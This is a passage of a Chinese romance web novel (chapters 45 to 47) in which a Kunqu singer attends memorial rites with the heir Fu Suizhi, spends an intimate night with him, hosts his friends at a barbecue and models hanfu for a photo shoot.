最终是唐卿让父亲唐河出面,和棠老爷子为棠傛撑腰,才将这门婚事说下来。 李婶仰头望着挂在墙上的棠傛画像,“姑爷和小姐结婚后,很是甜蜜。担心小姐怀孕有什么意外,姑爷就让人专门修缮了海棠苑,让小姐在这里头养胎。他知道小姐喜欢海棠花,让人四处挖了最好看的海棠花过来。若是海棠花凋谢就在院子里种上其他的花儿,每天的香味扑鼻。” “那半年,她们每天相伴,吟诗唱曲,相拥看落日。小姐的肚子也一天天大起来——谁都没想到,人会突然就没了。所有人都说,姑爷不顾当年浮云寺那支签的提醒,执意跟小姐结了婚, 才会闹得大房家破人亡。” 李婶擦了擦桌子,“最可怜的还是少爷。小小年纪失去父母,妹妹还丢了,外面的人还要说他命硬专克身边人。老爷子和老夫人虽然把他养在身边,但是半点没有疼惜过。” 林青盏看向李婶,轻启唇却没能说出话来。 “要不是他们那样冷漠凶残,少爷也不会养成这种性情。一个四岁的孩子,长到这么大从未得到过他们的拥抱,只有一味的打压,没被养成疯子就不错了。” 傅小灵拽了拽李婶的裙子,李婶这才反应过来今天确实多言了,这才低下头不再说什么。 林青盏走过去将挂着的画像摆正,凝神望着棠傛。 以往听过她和傅清庭的绝美爱情,在这一刻却不再觉得浪漫,只有真实的触动。 李婶打扫完就去做其他事情了,她跟着忙碌了一天,晚饭结束后,又跟着傅小灵和傅小敏到小别院里,往小湖里放了十来个河灯。 暗夜开始,河里的灯光闪烁,像是一颗颗启明星。 忙碌过半,天空突然飘落小雨,他们赶忙到屋檐下躲避,还担心这下雨天的,晚上的祭拜会不会不顺利。 好在细雨蒙蒙落了十几分钟就停了下来,除了院子地面湿漉漉的,倒是没有什么大问题。 傅小灵和傅小敏去准备祭拜的东西,林青盏则坐在屋檐下,望着院子小湖里面飘飘浮浮的河灯发呆。 不知道为何,她突然很想傅随之。 她拿出手机,给傅随之发了消息。 下一秒,听到门口响起铃声,叮叮叮。 她抬眸望过去,看到门槛那边站着西装革履的男人。 他遥遥望了她一眼,随后低头看手机屏幕弹出的消息:「一生不会相思,才会相思,便害相思。」 发这条消息,纯粹是冲动。 今天林青盏听了太多关于傅随之父母爱情和他小时候的事情,深知他虽然贵为傅氏掌权人,但从小受过太多孤苦,现在看似冷漠傲然,其实心底也有柔软的一面。 就是很冲动的,想表露自己对于他的珍爱。 只是隔着网络的线说出口,跟当面让他知道,情绪终究是不一样的。 林青盏一双黝黑眼眸望着他,见他郑重其事看了手机两分钟,这才转了手机方向,直接丢进兜里,再迈步往她这边走来,嘴角明显有着浅浅的弧度。 她心底是想逃,面上还要佯装无事,“你回来了。” 傅随之眼眸深邃望着她。 “一切都准备好了,就等你过来祭拜。” 傅随之没说话,只是走过去,牵起她的手往里面走去。 这一刻,傅随之心底那种空荡感不见了—— 作者有话说:好甜啊。 其实傅三和小纾平时互动都很甜 [垂耳兔头][垂耳兔头][烟花]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 45-50 第46章 按照浮城的习俗,祭拜应该在午后比较合适,只是老宅每年都要举行祖宗祭拜仪式,从凌晨五点到晚间中秋宴会结束,基本就要过八点。 所以海棠苑这边的祭拜就只能在晚上。 傅随之牵着她的手往小别院走去,傅清庭和棠傛的牌位摆放在西厢房。 厢房中央挂着傅清庭和棠傛的合照,身穿黑色西服的男人戴着金丝眼镜,旁边的女人笑靥如花,看起来很是漂亮纯洁。 照片下是用小篆雕刻的牌位,肃然冷冽。 李婶让人在牌位面前摆了两张方桌,送来的祭品很是丰盛,傅随之还特意交代,让人从玻璃花房那里移植了两盆海棠花,送过来给棠傛看看。 秦楠和傅慎点了香,递给傅随之,又拿三根给林青盏。 她没立刻接过来,转而看向傅随之,傅随之点了头,她这才接过来。 祭拜不过片刻,李婶带着人去外面烧纸钱,还让人将走廊里的花灯都点亮起来,整片院子瞬间亮如白昼。 房间里只剩下他们两人,傅随之凝神望着父母的牌位,沉默不言。 他这么一个清冷的男人,如此不言不语,林青盏倒是不意外,她走过去,抓住傅随之的手掌,目光落在前面的合照。 “傅叔叔,棠阿姨,我叫林纾。” 她一开腔,傅随之眼神沉了两分。 “现在在望月台唱昆曲,早年跟着我师父学习的时候,他常常说起你,说你是极为有天赋的,一听你的声音,就犹如掉落仙境。” 傅随之转头看她,挑了挑眉,好似在说:“丑媳妇见公婆,只挑好听的说?” 林青盏没理他,继续说道:“我和随之能遇上,也算是件神奇的事情。一开始我觉得他很冷,难怪外人都惧怕他。只是现在我并不这么认为。即便你们没在了,他也将自己照顾得很好,长成顶天立地的男子。现在他成了傅家掌权人,望你们在天之灵,好好保护他。” 话没说几句,傅小敏过来询问,“湖里的河灯要放了吗?” 傅随之点头。 林青盏牵住他的手掌,“我们也去看河灯。” 傅随之不解,“前几天还没放过瘾?” “放着玩自然是过瘾了,但是今天的不一样。” 他们走到人工湖那边,秦楠和傅慎已经往湖里放了许多河灯,飘浮在水面好似星光落下。 林青盏忽然转过身来,望入傅随之的浅棕色眼眸深处,“三哥,可以抱抱你吗?” 傅随之垂眸看她,没动。 林青盏往前迈步,双手探入他西服里面,紧紧环住他的腰。 她蹭了蹭他的肌肤,激起滚烫的涟漪,“他们在天上,一定一定很想你。” 傅随之清冷眼眸中闪过一阵涟漪,心底是从未有过的温柔。 林青盏将他抱得更紧。 从没有人拥抱过他,那以后,就由她来给他最温暖的拥抱- 今天是八月十六,浮云寺开放大门,让有缘之人可以前来祭拜起伏。 顾蝉这种信佛之人,肯定要去拜一拜,林青盏也被她叫了过来。 轿车可以一路开到浮云寺大门,只是往里面都要徒步,他们在车上换了平底鞋,边往山上走,边聊着天。 顾蝉跟纪淮野去海城支援,修复一件商朝古董,半个多月了才回来,这段时间的事情多少听顾宴迟说起过,但终归没有林青盏这个当事人说得清楚。 顾蝉震惊于林青盏和傅随之的关系变化:“我就这么一段时间不在,你们的关系如此突飞猛进,你都跟他去祭拜家长了?” “我跟他住在傅府,遇到祭日,自然是要一起祭拜的。” “话可不是这么说的,那沈钰铭也住在傅府,傅随之怎么没让她一起去祭拜父母。” “……” 见林青盏哑言,顾蝉笑出声。 她抓住林青盏的手掌,拉着她往 前,“小盏宝贝,你有没有发现,你自己对于傅随之的感情有了变化?” 她心底当然清楚,嘴上却羞于承认这些东西,“你觉得是这样么?” “当然啊。” 顾蝉小食指戳了戳她柔嫩脸颊,“当初你会跟了傅随之,是为了护下望月台,多少有被强迫的。既然答应,傅随之对你如何,你都不会说什么。只是当任务敷衍了事和发自心底的开心,那肯定是不同的啊。我看着你现在心情不错的样子。” 林青盏没有反驳。 顾蝉勾住她纤细手臂,“跟我有什么不能说的?你快告诉我,你对他是不是喜欢的?” 两人已经爬到山顶,沿着石头阶梯往上,在石围栏边站定。 很巧,这个地方就是当初林青盏看到傅随之的地方。 那时候林青盏在这里,看着傅随之虔诚站在青铜香炉面前,一动不动,想来当时他是真心在祈祷能够尽快找到妹妹吧。 现在的林青盏好似能够理解傅随之为何要执着于找到妹妹了。 因为他从来都是孤单寂寥的,连亲人的拥抱都没有过,心底自然会牵挂着那遗落在外面不知道过得如何的妹妹。 山顶,微风徐徐。 林青盏眺望着远处的山峦,心情前所未有的舒心。 “小蝉,你记不记得你跟我说过家人只能是家人,爱人却可以是爱人也可以是家人,你想跟顾宴迟又是家人又是爱人。” 她转身看向顾蝉,“以前我不太懂得这句话的意思,现在我懂得了。我以前觉得喜欢慕觞淙,可是我知道自己跟他没结果,所以没想过以后。可是,对傅随之不一样。” “这几天回到老宅,我听李婶说了很多之前的事情,也跟了解傅随之的过去。现在的傅随之对我来说,不只是高高在上掌控我的上位者,而是一个真真切切的爱人。他从小没有亲人在身边,所以我不只是想跟他在一起,我还想给他一个家。我希望能永远做让他依靠的爱人和家人。” “小盏宝贝,你知不知道你刚刚说话的时候,眼底都闪着光。”她揉了揉林青盏的脸蛋,“能看到你幸福,我太开心了。” 林青盏抬眸,看到满天晚霞,很是美丽,跟她的心情一样。 她抓住顾蝉的手腕,“走吧,去祭拜。” 顾蝉是这边的常客,转身看到熟悉的小沙弥,还从人手里顺来了几颗酸梅递给林青盏。 林青盏口味偏酸甜,最喜欢吃这些,一口咬下去,酸得牙齿有些疼,嘴角却翘起笑弧。 两人走进罗汉堂,祭拜了佛祖后,顾蝉说她之前给顾宴迟供奉的长明灯要再捐赠功德,林青盏随着她去找负责的师傅。 功德殿里面,挂满了长明不灭的长明灯,很是温暖。 林青盏心灵一动,转身去找顾蝉旁边的老师傅,说想供奉一盏长明灯。 顾蝉不解:“你哥的不是已经弄了,你要给自己弄?” 林青盏摇摇头。 顾蝉懂了,“为傅随之供奉的!” 林青盏点点头。 顾蝉笑了。 果然心动的女人看起来就是比较漂亮,她特别喜欢现在的林青盏,比当初和慕觞淙在一起时的她好太多- 两人在日落前走出浮云寺。 在半山腰的时候,顾蝉就被顾宴迟接走了,林青盏则上了傅随之安排来接的车。 轿车在月光下往东郊的方向而去,林青盏察觉这是要将她送回海棠湾,她出声问了司机,才知道傅随之已经从老宅回来。 车一路开到海棠湾别墅停车场。 林青盏推开门下了车,抬眸看到玻璃花房门敞开着,有暖橙色的光倾泻而出,远远看着漂亮得有些虚幻。 林青盏迈步走过去,果然看到傅随之在里面。 他身材高大,倚靠在那米色沙发上,姿态傲然矜贵。 林青盏缓步走过去,很快闻到他身上的酒味儿浓烈得像是抹不开的白雾。 她知道今天老宅那边的家族聚会还在继续,应该是人太多终归推不掉,这才喝多了。 她犹豫着,要不要去给他煮碗解酒汤。 听到脚步声,原本阖眼休息的男人慵懒撩起眼皮,那双浅棕色眼眸难得不是冰冷的,反倒沾染着怎么都抹不开的情.欲。 “过来。” 林青盏往前走了两步,裙摆刚和他的西装裤擦过,白皙手腕便被紧紧扣住,下一秒,她跌落在他身上。 傅随之身材健硕,双肩很宽,平日里被西装紧紧包裹还看不出什么,她手掌抵着她胸膛能清晰摸到那结实的轮廓,莫名的,掌心开始发烫。 她动了动想远离些的,傅随之的手掌箍住她纤细腰肢把人摁下去,羞得她脸颊也开始发烫。 “喝醉了么?” 傅随之低头靠过来,鼻尖蹭了蹭她的额头,又往下去找她柔软的唇,“喝得不少。不过我酒量好,你不知道?” 林青盏抬眸去看他的眼睛,“以前听我师伯说,酒量都是锻炼出来的,你也是么?” 傅随之与她近在咫尺,唇尖好似就要碰到她,却迟迟没有。 “你将我看做什么,难道我天生会喝酒?” 林青盏跟着笑了。 傅随之心情不错,“老爷子从小将我当做继承人培养,每天要上八节课,一周上七天。诗书礼仪不可少,防身之术也是必须的。喝酒倒是晚了些,七岁才开始。” 一开始量很少,就是浅尝辄止,傅随之还很不服气。 上高一时,跟唐郁东他们几个跑去谷府,偷喝了谷大师的桃花酿,当场醉晕,五个人倒在大床上昏睡了一天,隔天才被各家人领回去。 林青盏第一次听到他说起过往的事情,觉得很有趣,桃花眼荡着涟漪,“那不会被训话么?” “平日里被训话没少过,但这件事上倒是不至于。” 他和唐郁东、顾宴迟都是族中长子,是命定的继承人,徐泽也虽不是,但家里管得松了些,而纪时礼嘛,纪家倒是想管,但是不敢,因为他时常会发疯。 林青盏噗嗤笑出声,“我听过一些传闻,说纪先生从小跟着我老师,被他养得一身狂傲和逍遥自在,纪家没几个管得住。” “确实,他也就是听一听纪时安的话。” 看她唇角勾着笑,傅随之歪头看她,“喜欢听这些?” “嗯,我想知道你很多事情。” 他眼眸深了几分,“想让我讲故事,得给报酬。” 林青盏能感觉到他情绪一直在克制,只是有些东西是压制不住的,例如裙摆下压着的弧度。 她眼神略闪烁:“什么报酬?” 傅随之低笑一声,凑过去找到她的唇狠狠吻了下去。 温热的气息落在她肌肤上,轻易拂起一阵滚烫,还有身后贴着的宽厚手掌,让林青盏无法后退。 那炙热从拉链中间窜入,轻易贴在她柔嫩肌肤,像是揉捏白云般将她捧起来。 他的吻从来都是如此暴烈,片刻就让她快无法呼吸。 她嗯了声音,歪过头错开他的唇才勉强活过来,他却很快追过来,沿着她嘴角往下吻,去咬她的白皙锁骨。 她后退着躲开,傅随之索性翻过身,将她背抵在沙发。 这姿势是有些奇怪的。 他半跪着,她仍旧坐在他腿上,背靠着沙发,乌黑长发披散下来像是丝绸般挂着。 她紧紧抓住他的手臂,想起身,但他一动就被撞得往后躺下去。 她最后的挣扎是:“玻璃。” 他们还在玻璃花房里呢! 傅随之抓来旁边的遥控器,彻底将玻璃雾化,外面的人完全看不到里面的场景。 他更加兴奋,弓着背低头去亲吻着她。 撞过去,她的乌黑长发跟着轻轻晃动。 她咬住红唇,感觉自己像是坠入深海,被湿润紧紧包裹住。 头顶的暖橙色星光灯晃动着,像是飞快旋转的宇宙,惹得她只能闭上眼睛。 感觉在这一刻变得清晰。 她还听到傅随之低沉的呼吸声。 二十分钟后,傅随之才将人抱起来,重新回到她上他下的姿势,抬眸望着她红润的脸蛋,心底的温柔像是海浪般拍打着。 她受不住,双手抵着她胸膛,“轻一些。” 傅随之忽然想起第一次的时候,他在这里压住她,那时候她也说过“轻一些。” 当时他只想宣泄愤怒,完全不顾她的感受,但今天不一样,往后的每一次都会不一样。 他举手为她将额前黏着的发丝往后拂,放慢了速度,只是这并没有让她更好受些,她将脸埋进他颈窝里,感受着他- 结束已是天明,他从背后搂着她,两人窝在沙发睡下。 再醒来时,林青盏睁开眼就对上他那浅棕色眼眸,怔愣了下,才发现自己全身无一物靠在他怀里。 他将手里的那片金色平安符举起,“给我的?” 她点了点头,贴着他的胸膛闭上了眼睛。 这是昨天她在浮云寺求来的。 浮云寺的普通平安符是红色的,这种金箔平安符是特供,她借着顾蝉的面子才去求了一片,上面刻着符文,右下角留着他的名字。 这是她第一次送东西给他。 傅随之低头贴着她耳朵问,“羞什么?” “我才没有。”她反驳。 他笑出声,手掌贴着她光滑的腰肢往上,吓得她赶忙摁住他的手掌。 一整夜了,求求放过!! 傅随之笑得更大声。 这是林青盏第一次看到,傅随之笑逐颜开,很好看。 最终自然是没有继续的,傅随之今天有场国际会议,因为要等她醒来才离开已经耽误了两个小时,秦楠那边打了电话过来催促,傅随之只能起身离开。 林青盏将裙子重新穿好,站起身想离开时,发现沙发角落里掉落了颗棕色纽扣,应该是昨晚他用力扯下衬衫时掉落的。 她弯腰将那纽扣捡起来,转身走出玻璃花房。 傅小灵和傅小敏都等在客厅,见她过来,先是准备了早餐。 今天表演安排在午后,林青盏没有急着过去望月台,而是让傅小灵为她安排了些DIY的东西,她在房中,将那纽扣DIY成手链。 棕色纽扣为点缀,浅棕色的链子,绕在手腕上,随意一勾,就是一条细链。 林青盏举起手,在阳光下看了看,觉得很是满意。 昨晚闹得厉害天亮才睡下,午间林青盏窝进柔软被窝里面,沉沉睡去。 两点过后,傅小灵过来叫她起床,梳洗一番就上了车,往望月台而去。 也不知算睡得多还是少,林青盏只觉得腰酸得很,全身软绵绵的。 傅小敏拉开车门,见她萎靡不振,开口询问:“需要休息吗?不行跟台里说一声让团长安排休息?” 林青盏望着望月台的匾额,摇了摇头,一个小时后表演要开始,这会儿请假说要休息,恐怕阮青山和兰青翎都会一团乱。 她下了车,抬眸刚巧看到后面一辆车很是熟悉,是慕觞淙之前安排接送林青盏的那辆专车,现在是何青素从车里下来。 何青素目光紧紧锁着慕觞淙,原是想再跟他温存两句,不想慕觞淙望着她身后,眼神都变了。 她转过身,就看到林青盏站在那儿。 林青盏看了她一眼,迈步往里面走去。 阮青山和兰青翎正在化妆间里商量事情,抬眸看到林青盏走进来,脸色瞧着不太好,都走过来询问。 “身体不舒服么?” 林青盏也不好说自己是跟某人纵.欲.过.度了,“好像是昨晚着凉了,没什么大问题,我先去化妆。” 他们几个从小学唱戏,化妆都是信手拈来的。 林青盏刚打开底妆盒,何青素走了进来,同兰青翎他们打了招呼后,走到林青盏旁边的位置落座,目光落在林青盏身上。 察觉到那目光,林青盏转身看她,眼中有着疑惑。 何青素开门见山,“你知道我和慕觞淙在一起了?” 林青盏没料到她会跟自己说这些,转过身,边快速上妆,边说道:“今天知道了。” “我也不怕你知道,慕先生说需要我,让我跟着他。” “嗯。” 见林青盏兴致不高的模样,何青素蹙眉,“你难道没有什么想法?” 林青盏弯着唇笑了笑,“这是你们两人的事,我需要有什么想法吗?” “……” 何青素今天扮演的角色妆容不好画,她转过身开始给自己上妆,“我知道你之前跟过他,只是你们现在没关系了,我喜欢他跟了他我觉得很开心,希望你不要介意。” “小素,你也知道我和他没有关系了,我没有需要介意的。” 上完底妆后,林青盏转身看了她一眼,始终觉得应该提醒一句:“慕觞淙和宋雅薇已经订婚,他们后面肯定会结婚。宋雅薇的性情你应该有听说过,并不好惹。” 何青素神色骤然变了。 她自然知道慕觞淙和宋雅薇会结婚,这是慕觞淙亲口承认的,如果何青素继续跟着慕觞淙,就是妥妥的第三者,被包养在外面的金丝雀。 她心底知道是一回事儿,但骤然被人点明,心底又是另一种感受。她重重将粉扑放下,“我知道。” 林青盏抬眸看她一眼,没有再说话,收回目光认真化妆。 今天就安排了一场戏,六点多就结束了。 傅小敏过来提醒,说傅随之已经回了海棠湾,等她一同回去吃饭,林青盏跟兰青翎说了一声便离开。 回到海棠湾,林青盏刚走进大厅,抬眸看到沙发上坐着的几个人,停下了脚步。 她没想到唐郁东他们几个也过来了。 海棠湾的装修不是老宅那样古朴,是偏意式的,极为宽敞的客厅摆放着三张直排沙发,形成了倒U形。 此刻,几个男人坐在黑色沙发上,手里端着酒杯,正在商谈什么。 见她回来,纪时礼笑着开口,“管事的来了。” 林青盏一脸疑惑看向傅随之。 他一袭黑色衬衫从来没有变过,脸庞清冷,手里端着玻璃酒杯,眼神淡淡看向她,明显没有要解释的意思。 或者该说压根不想理纪时礼。 纪时礼才不管他,望着林青盏说道:“嫂子,借着你的光,这处地方我们第一次来。我看外面那院子很宽敞,还有玻璃花房,刚好叫人弄了烧烤过来吃。傅三小气不吭声,你来给做个主。” “……” 林青盏是没想到纪时礼竟是这样的要求。 也太胆大妄为了! 海棠湾别墅很宽敞,玻璃花房是环绕着别墅四周建成的,从客厅推拉门走出去,有一处很宽敞的后花园,种满了绣球花和绿萝,再往外望过去就是玻璃花房,还有小侧门入口,可以观赏到一年四季都美丽盛开着的海棠花。 这样极致漂亮的地儿,办个盛大的晚宴差不多,纪时礼竟然要在这地方烧烤,也难怪傅随之不愿意理他。 傅随之跟他那关系,就算说一句“滚”明确拒绝,纪时礼再不乐意也不好说什么,但林青盏身份不同,让她来拒绝,终归有些不妥。 林青盏望向傅随之,眼神带着求救,但傅随之还是那副神色淡淡的模样,看着压根不想插手这件事。 她眼睛眨呀眨。 这人什么意思啊?—— 作者有话说:小疯子确实过分,竟然要在这么好看的地方弄烧烤! 我也想去! 第47章 她没想到他竟然袖手旁观,不愿意救她。 那—— 林青盏抿了抿唇角,笑着说:“那地方坐着确实很舒服,纪先生想法很好,我们自然要主随客便。” 纪时礼拍手鼓掌,“好,还得是嫂子。” 傅随之也跟着挑挑眉,好一句“主随客便”,好一声“嫂子”,都让他心情很愉悦。 有了林青盏发话,纪时礼也不管傅随之什么脸色,招手把秦楠叫过来,“听到没,让人把火炉烧起来,肉多窜一点,爷我今天就要在傅三的后花园里大口大口吃肉。” 秦楠一脸笑,“纪小爷,你也不怕肉吃多了消化不了。” “爷的事情你少管,赶紧弄肉去!” 纪时礼是天生卷毛,平日里为了形象没少在那头卷毛上花心思,将自己打扮得像是皇室贵族的混血儿小公子,这会儿得逞了,就开始摇头晃脑,满脸嘚瑟。 顾宴迟笑着出声,“我看你是被傅三压制地太久了,这会儿终于有人敢发话,你这兔子尾巴就翘起来了。” 徐泽也戴着银框眼镜斯斯文文笑着,“我看更像猫,给点甜头就使劲儿舔。” 纪时礼一向自诩是老虎,最是听不得被说是猫,气得扑向徐泽也,就要露 出他的獠牙。 “我今天就让你知道老虎发威是怎样的。” 徐泽也不屑一顾,直接把人推开。 林青盏走到傅随之身旁坐下,被他顺势揽入怀中。 她抬眸,嘴唇几乎要贴在他耳廓,“纪小爷怎么这么兴奋?” 傅随之低头,“他不喜欢人叫他纪小爷,秦楠是故意调侃他的,你不用跟着叫。” “为什么不喜欢?” “因为他说他不小。” “……” 傅随之总是很禁.欲的姿态,可莫名其妙开车的情况也是时常有的。 偏偏他说那些话时脸色依旧镇定清冷,好像说的是再正常不过的话。 林青盏抬眸看他,一时间分不清这句话是不是在开车。 她没接着这个话题,“他为什么执着于在你的后花园吃烧烤啊。” 纪时礼一身白色西服,再搭配那精致的脸庞,妥妥的贵族公子,这会儿还端着香槟在喝,林青盏确实无法想象他们吃烧烤大快朵颐的样子。 傅随之凝神看着她,“我的后花园?我记得刚刚有人自诩主人,现在倒是成了我自己的后花园了?” 林青盏偷偷往他腰间掐了一把,“你还说这事儿,到底是谁冷眼旁观的。” 她这一下拧下去,劲儿不轻,但他压根没有躲开,脸色也丝毫未变。 之前两人在做那件事的时候,她总会不自觉想抠他的肌肤,他也是这样没有半点反应。 她笑着说:“古话本中总说,怕痒的男人宠老婆。” 言外之意,他并不是。 他神色依旧淡然,只是眼尾弯着,明显心情不错,“我宠不宠老婆,你试试就知道。” “……”林青盏脸皮是没他厚的。 傅随之低笑了声,回了她刚刚那问话:“这地方弄好了后,小疯子一直想来,我没让。这是他第一次过来,硬要在这里胡作非为,正常。” “噢。” “要在后花园吃烧烤就吃吧。别去玻璃花房里瞎搞就行。” “……”也不知道是谁整天在玻璃花房里瞎搞。 傅随之笑意更深,“刚换的沙发,别弄脏了。我还得用。” 林青盏气得又去拧他。 “不然?你用?” 林青盏不想理他了- 纪时礼是真打算在后花园里烟雾缭绕地吃顿烧烤,指挥秦楠搬这搬那的,又让傅小灵给准备了很多食物。 明叔李婶手脚麻利,很快在餐厅里准备好了所有食材,让傅小灵和傅小敏姐妹两个一盘盘端出去。 夜幕降临。 后花园中的白色木地板来来回回都是脚步声,是傅小灵们忙碌的身影。 木栈道往前延伸到花园露台上,四周满是紫色绣球花,很是美丽。 露台中央摆放着长方桌,中间摆放着香槟玫瑰和粉玫瑰,被星星灯环绕着,非常好看。 傅小敏取来冰镇饮料和酒,倒了一杯递到林青盏手边,林青盏点头道了谢。 烧烤架子放在旁边角落里,明叔和秦楠他们几个正在忙活着,烤熟的食物就让傅小灵端过来,很快桌面上摆满了一道道烧烤。 纪时礼已经将白色西服脱下来搁在旁边,丝毫不在意形象,拿起铁签开始大快朵颐。 其他人的用餐行为明显斯文许多,都是将食物放在白色餐盘,拿筷子夹起来慢慢咀嚼。 傅随之始终靠在木椅上没动,林青盏知道他的性情,对食物他好像从来都是随意的姿态,没有特别想吃的没有特别喜欢的。 她尝了块牛肉觉得很不错,夹了一块递到傅随之嘴边,他倒是给面子张嘴咬住,咀嚼片刻,点了点头表示还行。 垂眸刚巧看到她手腕戴着的细手链,东西看着有点眼熟,他目光里满是好奇。 林青盏羞得很,挣脱开。 这一举动倒是让傅随之明白了,她手腕上的那链子挂着的真是他的袖口。 傅随之眼底难得沾染了温柔,手指摸到她的手腕,轻轻摩挲。 一开始林青盏还羞着,只是他手掌缠着紧,挣脱不开,没一会儿她倒是给自己做好了心理建设,干脆不管他了。 她抬眸看他,“还吃么?” 傅随之点头。 林青盏又给他夹韭菜,一整根的韭菜都塞进他嘴里,下意识说了句:“多吃点。” 对面的纪时礼看到,笑出声,“傅三,你是不行啊,还得给你喂韭菜?” 得到傅随之一记冷眼。 林青盏这才反应过来,她都喂了什么东西啊。 她放下筷子,问顾宴迟:“小蝉不是说要过来,工作还没结束吗?” 刚刚他们开始烧烤前,她给顾蝉发了消息问要不要一起过来玩,顾蝉说顾宴迟早说过了,只是她今天工作有些忙,要晚点过来。 一个小时过去了,竟然还没过来。 顾宴迟笑着,“车已经接到人了,很快就来。” 果然二十分钟后,门口传来车声,没两分钟,后花园另一侧的小木门被推开。 唐郁南率先走了进来,高举起双手,很是兴奋,“Everybody,你们的美艳大小姐来啦。” 她穿一身闪亮鎏金长裙,身形婀娜,一头长卷发披散下来,手里提着LV限量款包包,走路带风,风情万种。 旁边的顾蝉身穿浅蓝色中式旗袍,梳着偏古风的半头,以青簪子固定,温柔典雅许多。 唐郁南走过来,瞥了一眼身材魁梧的唐郁东,明显是有些嫌弃的,径直走到徐泽也身旁坐下。 唐郁东是完全的直男,照顾妹妹只局限于砸钱,其他的什么情绪价值,一点都给不了。 徐泽也从小跟着唐郁东出入唐家,可以说唐郁南是他照顾着长大的,相比唐郁东,徐泽也更像是唐郁南的亲哥。 唐郁东也乐得如此,只要有人照顾他妹就行,他还懒得出手。 徐泽也端来白色瓷盘,装的都是唐郁南喜欢吃的。 她这人性情直爽,不喜欢吃就会直接说,“这个我不要,拿走。” 徐泽也也会爽快将她所指的,夹走自己吃掉。 林青盏很喜欢唐郁南,目光没忍住落在她身上多看了两眼。 唐郁南发现了,两眼弯弯,靠过来跟她说话,“林小姐,你知道我是做服装生意的吧。” 林青盏点头,“小蝉之前和我说过。” “是这样的哈,我们公司最近推出一系列的汉服,后面还想推出一批会偏向古风妖冶风的汉服。最近做方案的时候,底下人说得拍摄一组宣传片,就是人选一直没定下来。” 唐郁南双眼放光盯着她,“我就是觉得林小姐特别适合,你看有没有兴趣来试一试?” 林青盏略有迟疑。 之前她也参与过国家戏曲协会的昆曲拍摄,跟老前辈们在舞台上唱曲的时候,会有专人在拍摄。 但那是做她的本职工作,即便是对着摄像头也不惧怕,而拍摄服装宣传片不一样,林青盏没有尝试过。 见她犹豫不决,唐郁南干脆将压箱底的设计稿和成品图拿出来给林青盏看,顾蝉也凑过来,两人看到那汉服都有些吃惊。 这些汉服色彩用得很大胆却不突兀,而且质地很柔顺,总体非常好看。 唐郁南从小耳濡目染,跟着家里学了一身的生意经,十八岁创立了自己的品牌,背靠着唐氏服装,很快将公司做大。 她最擅长和人谈判,一见林青盏那神色就知道她心动了,乘胜追击道:“这一系列的汉服现在还未对外售卖,只要我们投入市场,肯定会直接卖爆了。” 她望着林青盏,“只要林小姐答应帮忙拍摄,片酬我给你七位数,另外送你一系列的汉服。” 顾蝉抓住林青盏的手臂,替她开口答应,“娜娜盛情邀请,小盏肯定答应啊。” 林青盏心底对那些汉服确实喜欢,点头答应下来。 傅随之就坐在旁边,一副全凭林青盏自己想法的意思,到了这会儿才开口,“娜娜倒是好眼光,盯上我的人了。” 唐郁南完全不怕他,“我不只是盯上你的 人,我还盯上了三哥的地方。” 傅随之挑眉。 “拍摄的时候,能不能借用一下三哥这玻璃花房啊?” 傅随之都还没来得及拒绝,唐郁南继续说道:“到时候我让三哥看看不一样的林小姐,必然让你觉得这地儿借得有价值。” 一句话把傅随之逗笑了,他竟当真点了头。 唐郁南毕竟是做生意的,手脚极快,两周后果真安排了拍摄。 她先是带着林青盏去公司看了他们设计的汉服。 顾蝉陪着林青盏过去,两人看了每一件都想要,因为设计的着实好看。 林青盏瞬间觉得这次拍摄值了,毕竟能穿好看的衣服,是每个女生的梦想。 拍摄总共三天,林青盏提前和台里请了假,第一天是在玻璃花房拍摄的,后面两天他们去了趟月光古城。 美丽的汉服和古城古香古色的建筑很是融洽,林青盏身段又是极好的,随便一挥舞都是美丽的画。 这画面勾起了唐郁南的设计想法,她让人去做了一幅空白画卷过来,摆放在池水边,拍摄开始后,让身穿汉服的林青盏轻盈跃入画卷中。 傅随之舟车劳顿过来,刚走进山庄的后院,就看到了这样场景:嶙峋假山旁有一汪湖水,漂浮着落叶,岸边摆放着一副比人还要高的空白画卷。 林青盏身穿一袭淡绿色汉服,手里捏着折扇,踩着小碎步,轻盈往前走,瞬间入了画,倒映出窈窕身姿,俨然成了画中仙。 画中仙轻轻舞起,手腕抬起,青丝宽袖随即落下来,露出她纤瘦的手臂,腰肢是盈盈一握的,轻轻往前一推,柔软得像是柳枝般勾人。 她身材看似纤瘦,却也有着丰满的弧度,如此藏匿在画卷中只有倒影,反而更引人遐想。 …… 林青盏学戏曲的时候,跟着学过一段时间的形体,唐郁南要求的这些舞蹈,她不过半天就学会了,而且有表演经验,当众跳舞也不觉有什么。 只是当她捏着园扇走出画卷,看到傅随之站在不远处时,身形还是没忍住颤了下,是有些不自在的。 她纯净眼眸望着傅随之,不经意咬住嘴唇,更是惹人怜悯。 傅随之望着她眼神深了几分,心底有些火像是要烧起来了,只是始终忍着。 唐郁南察觉林青盏神色不对,转过身看到傅随之和徐泽也,笑着调侃:“三哥难道是怕我会亏待了你的人不成,竟然都追过来了?” 傅随之收回挂在林青盏身上的视线,眼神清冷回答:“刚好有个峰会在这边。” 唐郁南不信,转而看向徐泽也。 徐泽也笑着解释:“古城这边邀请的,是个非遗传统文化宣传峰会,主要是苏绣类的。你哥没空过来,派我来了。至于傅三,你知道他是做服装设计发家的,或许是闻到了什么商机,就答应那边邀请,也过来了。” 这话说得非常清楚了,傅三这趟来不来都无所谓,反正看着就不像是为了峰会过来的。 唐郁南和徐泽也对视一眼,听懂了他话里的揶揄,笑出声,“峰会是明天吧,那我们一起去吃个饭吧。这边刚好也结束了。” 林青盏垂眸看了眼自己身上的汉服,这浅青色汉服样式新颖,虽然该包裹着的都紧紧包裹住,但露的地方也不少。 特别是垂落的裙摆,很轻很透,远看没什么,近看是能看清楚她里面的裤裙,细长的双腿线条更是清晰可见。 她不想再继续这样尴尬着,开口说道:“那我先上去换套衣服。” 唐郁南点头答应,“那我和泽也哥先去餐厅等你们。” “好。” 林青盏点头后转身就走。 这处山庄是徐泽也的产业,一整片院子古香古色,走过蜿蜒长廊是休息的房间。 林青盏昨晚就睡在这间客房,她推开门进去后就要将门关上,却被身后的傅随之用手掌抵住。 他也跟了进来。 林青盏始终没敢和他对视,目光扫了眼被关上的木门,转过身要去换衣服,被傅随之拽了下手腕,勾着她的腰将人摁在门上。 他手捧起她的脸颊,指腹轻轻蹭了蹭,“跑什么?” 她目光落在他衬衫的第一粒扣子上,“我没跑。” “没有?” 